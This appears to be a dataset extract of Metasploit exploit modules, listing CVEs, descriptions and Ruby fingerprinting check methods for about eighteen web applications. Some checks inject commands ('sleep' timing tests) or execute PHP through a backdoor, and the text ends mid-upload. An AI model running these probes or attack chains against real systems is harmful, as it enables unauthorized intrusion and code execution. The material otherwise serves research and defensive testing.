deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Jenkins XStream Groovy classpath Deserialization Vulnerability
Type: exploit
Path: modules/exploits/multi/http/jenkins_xstream_deserialize.rb
Platform: unix
Disclosure date: 2016-02-24
References: CVE-2016-0792, URL-https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream, URL-https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413
Targets: Unix (In-Memory), Python (In-Memory), PowerShell (In-Memory), Windows (CMD), Linux (Dropper), Windows (Dropper)

Description:
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
          older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
          which allows remote arbitrary code execution. The issue affects default installations. Authentication
          is not required to exploit the vulnerability.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      fail_with(Failure::Unknown, 'The connection timed out.')
    end

    http_headers = res.headers

    if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
      return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: MajorDoMo Remote Command Injection via cycle_execs Race Condition
Type: exploit
Path: modules/exploits/multi/http/majordomo_cmd_injection_rce.rb
Platform: %w[unix linux
Disclosure date: 2026-02-18
References: CVE-2026-27175, URL-https://chocapikk.com/posts/2026/majordomo-revisited/, URL-https://github.com/sergejey/majordomo/pull/1177
Targets: Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated command injection vulnerability in MajorDoMo's
          remote command handler (rc/index.php). The param parameter is interpolated into double
          quotes without escapeshellarg(), and the resulting string is passed to safe_exec() which
          inserts it into the safe_execs database table with no sanitization.

          The cycle_execs.php worker script is web-accessible without authentication. On startup it
          purges the safe_execs queue, then enters an infinite loop polling the table every second
          and passing each command to exec(). A race condition is required: the worker must be
          started first (which purges existing entries), then the injection is performed while the
          worker is polling. The next iteration picks up and executes the attacker's payload.

          The command parameter must reference a valid .bat file in rc/commands/. The default
          MajorDoMo installation ships with shutdown.bat, displayon.bat, and displayoff.bat.

          All versions of MajorDoMo up to and including the latest release are affected.
          The fix is tracked in PR sergejey/majordomo#1177.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'rc', ''),
      'method' => 'GET',
      'vars_get' => { 'command' => datastore['BAT_NAME'] }
    )
    return CheckCode::Unknown('Failed to connect to the target.') unless res

    unless res.body.to_s.include?('OK')
      return CheckCode::Safe("rc/index.php did not return OK for command '#{datastore['BAT_NAME']}'")
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'scripts', 'cycle_execs.php'),
      'method' => 'GET'
    )

    if res.nil? || res.code == 200
      return CheckCode::Vulnerable('Remote command handler and cycle_execs.php are both accessible without authentication')
    end

    CheckCode::Detected('Remote command handler is accessible but cycle_execs.php status is unclear')
  end
Metasploit Module: MobileCartly 1.0 Arbitrary File Creation Vulnerability
Type: exploit
Path: modules/exploits/multi/http/mobilecartly_upload_exec.rb
Platform: php
Disclosure date: 2012-08-10
References: CVE-2012-10044, OSVDB-85509, EDB-20422, BID-55399
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a vulnerability in MobileCartly.  The savepage.php file
          does not do any permission checks before using file_put_contents(), which
          allows any user to have direct control of that function to create files
          under the 'pages' directory by default, or anywhere else as long as the user
          has WRITE permission.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    File.dirname("#{uri}.")

    res = send_request_raw({ 'uri' => normalize_uri(uri, '/index.php') })
    if res and res.body =~ /MobileCartly/
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution
Type: exploit
Path: modules/exploits/multi/http/playsms_filename_exec.rb
Platform: php
Disclosure date: 2017-05-21
References: EDB-42003, CVE-2017-9080, URL-https://www.youtube.com/watch?v=MuYoImvfpew, URL-http://touhidshaikh.com/blog/?p=336

Description:
This module exploits a code injection vulnerability within an authenticated file
          upload feature in PlaySMS v1.4. This issue is caused by improper file name handling
          in sendfromfile.php file.
          Authenticated Users can upload a file and rename the file with a malicious payload.
          This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, 'index.php')
      })
    rescue
      vprint_error('Unable to access the index.php file')
      return CheckCode::Unknown('An error occurred while checking the target')
    end

    if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
      return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: JBoss JMX Console Beanshell Deployer WAR Upload and Deployment
Type: exploit
Path: modules/exploits/multi/http/jboss_bshdeployer.rb
Platform: java
Disclosure date: 2010-04-26
References: CVE-2010-0738, OSVDB-64171, URL-http://www.redteam-pentesting.de/publications/jboss, URL-https://bugzilla.redhat.com/show_bug.cgi?id=574105
Targets: Automatic (Java based), Windows Universal, Linux Universal, Java Universal

Description:
This module can be used to install a WAR file payload on JBoss servers that have
          an exposed "jmx-console" application. The payload is put on the server by
          using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
Metasploit Module: Clinic\'s Patient Management System 1.0 - Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb
Platform: php
Disclosure date: 2025-01-04
References: CVE-2022-2297, CVE-2025-3096, URL-https://www.cve.org/CVERecord?id=CVE-2022-40471

Description:
This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.

Check method (fingerprinting):
print_status('Checking if target is vulnerable...')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    })

    return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
    return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
    return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")

    return Exploit::CheckCode::Appears('Clinic PMS detected')
  end
Metasploit Module: Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution
Type: exploit
Path: modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
Platform: ruby
Disclosure date: 2015-06-16
References: CVE-2015-3224, URL-http://openwall.com/lists/oss-security/2015/06/16/18, URL-https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ, URL-https://hackerone.com/reports/44513

Description:
This module exploits an IP whitelist bypass vulnerability in the developer
          web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also
          achieve code execution on Rails 4.2.x if the attack is launched from a
          whitelisted IP range.
Metasploit Module: WordPress AI Engine Plugin MCP Unauthenticated Admin Creation to RCE
Type: exploit
Path: modules/exploits/multi/http/wp_ai_engine_mcp_rce.rb
Platform: php
Disclosure date: 2025-11-04
References: CVE-2025-11749, URL-https://github.com/Nxploited/CVE-2025-11749
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated vulnerability in the WordPress AI Engine plugin
          (versions <= 3.1.3). The vulnerability allows an attacker to create an administrator account
          via the MCP (Model Context Protocol) endpoint without authentication. The module supports
          both `/wp-json/mcp/v1/` and `/?rest_route=/mcp/v1/` endpoints. Once an administrator
          account is created, the module uploads and executes a malicious plugin to achieve remote
          code execution (RCE).

Check method (fingerprinting):
return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('ai-engine', '3.1.4')
    return plugin_check if plugin_check == CheckCode::Safe

    @token = find_token
    return CheckCode::Safe('MCP token not found. Plugin may be patched or not configured.') unless @token

    CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)
Type: exploit
Path: modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Platform: php
Disclosure date: 2025-03-13
References: CVE-2025-3102, CVE-2025-27007, URL-https://github.com/Nxploited/CVE-2025-3102, URL-https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/, URL-https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve, URL-https://cloud.projectdiscovery.io/library/CVE-2025-27007
Targets: PHP In-Memory, Unix In-Memory, Windows In-Memory

Description:
Exploits two distinct authorization bypasses in SureTriggers/OttoKit plugin:
          - CVE-2025-3102: admin creation via St-Authorization Bearer (empty)
          - CVE-2025-27007: reset access key via connection endpoint & admin creation with Bearer header

Check method (fingerprinting):
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("Detected WordPress version: #{wp_version}") if wp_version

    plugin = 'suretriggers'
    max_versions = {
      'cve-2025-3102' => '1.0.78',
      'cve-2025-27007' => '1.0.82'
    }
    max_vuln = max_versions[action.name.downcase]

    detected = check_plugin_version_from_readme(plugin)&.details&.dig(:version)
    return CheckCode::Unknown("Unable to determine #{plugin} version") unless detected

    @plugin_version = detected

    ver = Rex::Version.new(detected)
    if ver <= Rex::Version.new(max_vuln)
      CheckCode::Appears("Detected #{plugin} #{ver} vulnerable to #{action.name}")
    else
      CheckCode::Safe("Detected #{plugin} #{ver} appears patched")
    end
  end
Metasploit Module: Log1 CMS writeInfo() PHP Code Injection
Type: exploit
Path: modules/exploits/multi/http/log1cms_ajax_create_folder.rb
Platform: php
Disclosure date: 2011-04-11
References: CVE-2011-4825, OSVDB-76928, EDB-18075, EDB-18151

Description:
This module exploits the "Ajax File and Image Manager" component that can be
          found in log1 CMS.  In function.base.php of this component, the 'data' parameter
          in writeInfo() allows any malicious user to have direct control of writing data
          to file data.php, which results in arbitrary remote code execution.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_raw({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php")
    })

    if res and res.code == 200
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Web-Check Screenshot API Command Injection RCE
Type: exploit
Path: modules/exploits/multi/http/web_check_screenshot_rce.rb
Platform: %w[unix linux win
Disclosure date: 2025-04-12
References: CVE-2025-32778, URL-https://github.com/Lissy93/web-check, URL-https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef
Targets: Unix/Linux Command, Windows Command

Description:
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
          The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
          allowing command injection via URL query parameters. The vulnerability was patched in commit
          0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.

Check method (fingerprinting):
res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
      send_screenshot_request
    end

    return CheckCode::Unknown("#{peer} - No response from web service") unless res
    return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404

    network_latency = [baseline_elapsed, 0.3].max
    vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
    sleep_tests = [2, 3, 4].map do |duration|
      _, elapsed = Rex::Stopwatch.elapsed_time do
        send_screenshot_request("sleep #{duration}")
      end
      threshold = duration - network_latency
      vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
      { elapsed: elapsed, threshold: threshold }
    end

    passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }

    case passed_tests
    when 2..3
      return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
    when 1
      return CheckCode::Detected('Screenshot API endpoint exists and may be vulnerable')
    end

    return CheckCode::Detected('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')

    CheckCode::Unknown('Could not determine vulnerability status')
  end
Metasploit Module: OpenX Backdoor PHP Code Execution
Type: exploit
Path: modules/exploits/multi/http/openx_backdoor_php.rb
Platform: php
Disclosure date: 2013-08-07
References: CVE-2013-4211, OSVDB-96073, URL-http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html, URL-http://forum.openx.org/index.php?showtopic=503521628

Description:
OpenX Ad Server version 2.8.10 was shipped with an obfuscated
          backdoor since at least November 2012 through August 2013.
          Exploitation is simple, requiring only a single request with a
          rot13'd and reversed payload.

Check method (fingerprinting):
token = rand_text_alpha(20)
    response = execute_php("echo '#{token} '.phpversion();die();")

    if response.nil?
      return CheckCode::Unknown('No response received from the target')
    elsif response.body =~ /#{token} ((:?\d\.?)+)/
      vprint_status("PHP Version #{$1}")
      return CheckCode::Vulnerable('Successfully verified code execution on the target')
    end
    return CheckCode::Safe('The target version is not vulnerable')
  end
Metasploit Module: WordPress Responsive Thumbnail Slider Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/wp_responsive_thumbnail_slider_upload.rb
Platform: php
Disclosure date: 2015-08-28
References: EDB-37998

Description:
This module exploits an arbitrary file upload vulnerability in Responsive Thumbnail Slider
          Plugin v1.0 for WordPress post authentication.

Check method (fingerprinting):
# The version regex found in extract_and_check_version does not work for this plugin's
    # readme.txt, so we build a custom one.
    check_code = check_version || check_plugin_path
    if check_code
      return check_code
    else
      return CheckCode::Safe('The target version is not vulnerable')
    end
  end
Metasploit Module: GestioIP Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/gestioip_exec.rb
Disclosure date: 2013-10-04
References: CVE-2013-10039, URL-http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/, URL-https://github.com/rapid7/metasploit-framework/pull/2461, URL-https://www.rapid7.com/blog/post/2013/10/03/gestioip-authenticated-remote-command-execution-module

Description:
This module exploits a command injection flaw to create a shell script
          on the filesystem and execute it. If GestioIP is configured to use no authentication,
          no password is required to exploit the vulnerability. Otherwise, an authenticated
          user is required to exploit.
Metasploit Module: Ruby on Rails Known Secret Session Cookie Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/rails_secret_deserialization.rb
Platform: ruby
Disclosure date: 2013-04-11
References: CVE-2013-0156, URL-http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/

Description:
This module implements Remote Command Execution on Ruby on Rails applications.
          Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
          (Rails 4). The values for those can be usually found in the file
          "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
          deserialization of a crafted Ruby Object.
Metasploit Module: Novell ZENworks Configuration Management Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/zenworks_configuration_management_upload.rb
Platform: java
Disclosure date: 2015-04-07
References: CVE-2015-0779, OSVDB-120382, URL-https://seclists.org/fulldisclosure/2015/Apr/21

Description:
This module exploits a file upload vulnerability in Novell ZENworks Configuration
          Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in
          the UploadServlet which accepts unauthenticated file uploads and does not check the
          "uid" parameter for directory traversal characters. This allows an attacker to write
          anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat
          webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.
          This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
          that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a
          Metasploit exploit, but it abuses a different parameter of the same servlet.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
      'method' => 'GET'
    })

    if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: phpMyAdmin Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/phpmyadmin_lfi_rce.rb
Disclosure date: 2018-06-19
References: BID-104532, CVE-2018-12613, URL-https://www.phpmyadmin.net/security/PMASA-2018-4/, URL-https://www.secpulse.com/archives/72817.html, URL-https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/

Description:
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
          which can be exploited post-authentication to execute PHP code by
          application. The module has been tested with phpMyAdmin v4.8.1.

Check method (fingerprinting):
begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
    rescue
      vprint_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    if res.nil? || res.code != 200
      vprint_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    # v4.8.0 || 4.8.1 phpMyAdmin
    if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
      version = Rex::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version}")

      if version == Rex::Version.new('4.8.0') || version == Rex::Version.new('4.8.1')
        return Exploit::CheckCode::Appears('The target is running a vulnerable version')
      end

      return Exploit::CheckCode::Safe('The target version is not vulnerable')
    end

    return Exploit::CheckCode::Unknown('Could not connect to the target')
  end
Metasploit Module: Clinic\'s Patient Management System 1.0 - Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/clinic_pms_fileupload_rce.rb
Platform: php
Disclosure date: 2022-10-31
References: EDB-51779, CVE-2022-40471, URL-https://www.cve.org/CVERecord?id=CVE-2022-40471, URL-https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view

Description:
This module exploits an unauthenticated file upload vulnerability in Clinic's
          Patient Management System 1.0. An attacker can upload a PHP web shell and execute
          it by leveraging directory listing enabled on the `/pms/user_images` directory.

Check method (fingerprinting):
print_status('Checking if target is vulnerable...')

    # Step 1: Retrieve PHPSESSID
    vprint_status('Fetching PHPSESSID from the server...')
    res_session = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'GET'
    })

    unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
      print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
      return CheckCode::Unknown('Could not connect to the target')
    end

    phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
    if phpsessid.nil?
      print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
      return CheckCode::Unknown('Failed to retrieve PHPSESSID from the target response')
    else
      phpsessid = phpsessid[1]
      vprint_good("Obtained PHPSESSID: #{phpsessid}")
    end

    # Step 2: Attempt File Upload
    dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
    dummy_content = Rex::Text.rand_text_alphanumeric(20)
    dummy_name = Rex::Text.rand_text_alphanumeric(6)
    post_data = Rex::MIME::Message.new
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
    post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; file